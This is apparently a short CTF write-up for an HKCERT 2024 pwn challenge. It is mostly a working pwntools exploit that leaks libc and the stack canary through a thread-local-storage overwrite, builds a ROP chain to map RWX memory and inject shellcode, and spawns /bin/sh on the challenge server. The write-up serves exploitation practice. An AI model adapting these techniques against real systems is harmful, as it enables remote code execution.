Buffer overflow in echo .

ssize_t __fastcall sub_1673(void *a1)
{
  return read(0, a1, 0x1000uLL);
}

it's within a child process with a separate thread, hijacking the tls (Thread-Local Storage) to leak the canary value can be considered.

Thread-Local (Using the GNU Compiler Collection (GCC))

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x20 0x00 0x00 0x00000000  A = sys_number
 0006: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000066  if (A != getuid) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000004f  if (A != getcwd) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x000000e6  if (A != clock_nanosleep) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x06 0x00 0x00 0x00000000  return KILL

The child thread permits the system calls listed above. My approach is to use buffer overflow to overwrite the tls and leak the canary value.

At the same time, request a block of rwx memory, write the shellcode in memory to simulate the original work of the child thread, and then directly build the ROP chain for the attack.

Exploit:

from pwn import *

elf=ELF('./pwn')
# r=process('./pwn')
r=remote('c50-black-c2.hkcert24.pwnable.hk', 1337,ssl=True)
libc=ELF('./libc.so.6')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
# pause()
r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):')
r.sendline(b'echo')
r.recvuntil(b'[+] Waiting Child')
r.sendline(b'a' * 0xff)
r.recvuntil(b'a'*0xff)
r.recvline()
libc_addr = u64(r.recv(6).ljust(8, b'\\\\x00'))
print(hex(libc_addr))
rbp = libc_addr - 0x7f0
any_write = 0x910 + 0x10
over_canary = 0x910 + 0x28
# pause()
r.recvuntil(b'Enter command (banner, getuid, pwd, echo, exit):')
r.sendline(b'echo')
libc_base = libc_addr + 0x39c0
print(hex(libc_base))
canary = 0x196082
real_canary_addr = libc_addr + 0x1128
mmap_addr = libc_base + libc.sym['mmap']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
sleep_addr = libc_base + libc.sym['sleep']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
pop_rcx = libc_base + 0x000000000003d1ee
pop_rax = libc_base + 0x0000000000045eb0
pop_r8 = libc_base + 0x00000000001657f6
magic_gadget = libc_base + 0x00000000000bfc60
magic_gadget2 = libc_base + 0x00000000000bfc63
add_rdx_pop = libc_base + 0x0000000000055531
mov_r9_18_rax_10_call_rax = libc_base + 0x00000000000e72e5
pop4_ret = libc_base + 0x000000000011db7c
r.recvuntil(b'[+] Waiting Child')
payload = b'a' * 0x100
payload += flat(libc_addr, canary, rbp)
payload += flat(pop_rdi, 1, pop_rsi, real_canary_addr, pop_rdx, 8, write_addr)
# payload += flat(pop_rsi, libc_addr + 0x640, pop_rdi, libc_addr - 0x770, magic_gadget)
# payload += flat(pop_r8, 0x26, add_rdx_pop, 0, magic_gadget2)
payload += flat(pop_rdi, 0x196082000, pop_rsi, 0x1000, pop_rdx, 7, pop_rcx, 0x22, pop_r8, -1, mov_r9_18_rax_10_call_rax, 0, 0, pop4_ret, 0, mmap_addr)
payload += flat(pop_rdi, 0x5, sleep_addr)
payload += flat(pop_rdi, 0, pop_rsi, 0x196082000, pop_rdx, 0x1000, read_addr)
payload += flat(0x196082000)
payload = payload.ljust(any_write, b'\\\\x00') + flat(libc_addr - 0x1000)
payload = payload.ljust(over_canary, b'\\\\x00') + flat(canary)
r.send(payload)
r.recvuntil(b'\\\\x00')
real_canary = u64(r.recv(7).rjust(8, b'\\\\x00'))
print(hex(real_canary))
# pause()
payload = flat(b'a' * 0x108, real_canary, 0, pop_rdi, bin_sh_addr, libc_base + 0x0000000000029139, system_addr)
count = len(payload)
r.sendline(b'exit')
sleep(10)
shellcode = b''
shellcode += asm(f'mov rdi, 3')
shellcode += asm(f'mov rsi, {libc_addr}')
shellcode += asm(f'mov rdx, 0x64')
shellcode += asm(f'mov rax, {read_addr}')
shellcode += asm(f'call rax')
shellcode += asm(f'mov rdi, 6')
shellcode += asm(f'mov rsi, {0x196082000 + 0x100}')
shellcode += asm(f'mov rdx, 4')
shellcode += asm(f'mov rax, {write_addr}')
shellcode += asm(f'call rax')
shellcode += asm(f'mov rdi, 6')
shellcode += asm(f'mov rsi, {0x196082000 + 0x200}')
shellcode += asm(f'mov rdx, {count}')
shellcode += asm(f'mov rax, {write_addr}')
shellcode += asm(f'call rax')
final_payload = shellcode
final_payload = final_payload.ljust(0x100, b'\\\\x00') + p32(count)
final_payload = final_payload.ljust(0x200, b'\\\\x00') + payload
r.sendline(final_payload)
r.interactive()